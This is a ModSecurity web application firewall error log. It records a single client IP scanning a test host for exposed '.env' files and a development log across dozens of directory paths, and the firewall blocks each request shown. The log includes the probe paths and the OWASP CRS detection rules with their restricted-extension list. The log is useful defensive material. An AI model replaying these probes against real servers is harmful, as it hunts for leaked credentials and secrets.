[Wed Feb 25 06:05:20.149722 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFgAAAAY&quot;]
[Wed Feb 25 06:05:20.250720 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /log/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vAAAAAE&quot;]
[Wed Feb 25 06:05:20.250990 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vAAAAAE&quot;]
[Wed Feb 25 06:05:20.251166 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vAAAAAE&quot;]
[Wed Feb 25 06:05:20.285397 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new-js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGAAAAAY&quot;]
[Wed Feb 25 06:05:20.285640 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGAAAAAY&quot;]
[Wed Feb 25 06:05:20.285819 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGAAAAAY&quot;]
[Wed Feb 25 06:05:20.394304 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vQAAAAE&quot;]
[Wed Feb 25 06:05:20.394853 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vQAAAAE&quot;]
[Wed Feb 25 06:05:20.395026 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vQAAAAE&quot;]
[Wed Feb 25 06:05:20.448816 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /news-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGgAAAAY&quot;]
[Wed Feb 25 06:05:20.449063 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGgAAAAY&quot;]
[Wed Feb 25 06:05:20.449234 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGgAAAAY&quot;]
[Wed Feb 25 06:05:20.482098 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vgAAAAE&quot;]
[Wed Feb 25 06:05:20.482371 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vgAAAAE&quot;]
[Wed Feb 25 06:05:20.482556 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19vgAAAAE&quot;]
[Wed Feb 25 06:05:20.495170 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /next/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGwAAAAY&quot;]
[Wed Feb 25 06:05:20.495406 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGwAAAAY&quot;]
[Wed Feb 25 06:05:20.495598 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaGwAAAAY&quot;]
[Wed Feb 25 06:05:20.526573 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHAAAAAY&quot;]
[Wed Feb 25 06:05:20.526816 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHAAAAAY&quot;]
[Wed Feb 25 06:05:20.526998 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHAAAAAY&quot;]
[Wed Feb 25 06:05:20.570226 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /niffler-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHQAAAAY&quot;]
[Wed Feb 25 06:05:20.570517 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHQAAAAY&quot;]
[Wed Feb 25 06:05:20.570688 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHQAAAAY&quot;]
[Wed Feb 25 06:05:20.606007 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHgAAAAY&quot;]
[Wed Feb 25 06:05:20.606282 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHgAAAAY&quot;]
[Wed Feb 25 06:05:20.606462 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHgAAAAY&quot;]
[Wed Feb 25 06:05:20.615586 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wAAAAAE&quot;]
[Wed Feb 25 06:05:20.615833 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wAAAAAE&quot;]
[Wed Feb 25 06:05:20.615986 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19wAAAAAE&quot;]
[Wed Feb 25 06:05:20.703752 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaHwAAAAY&quot;]
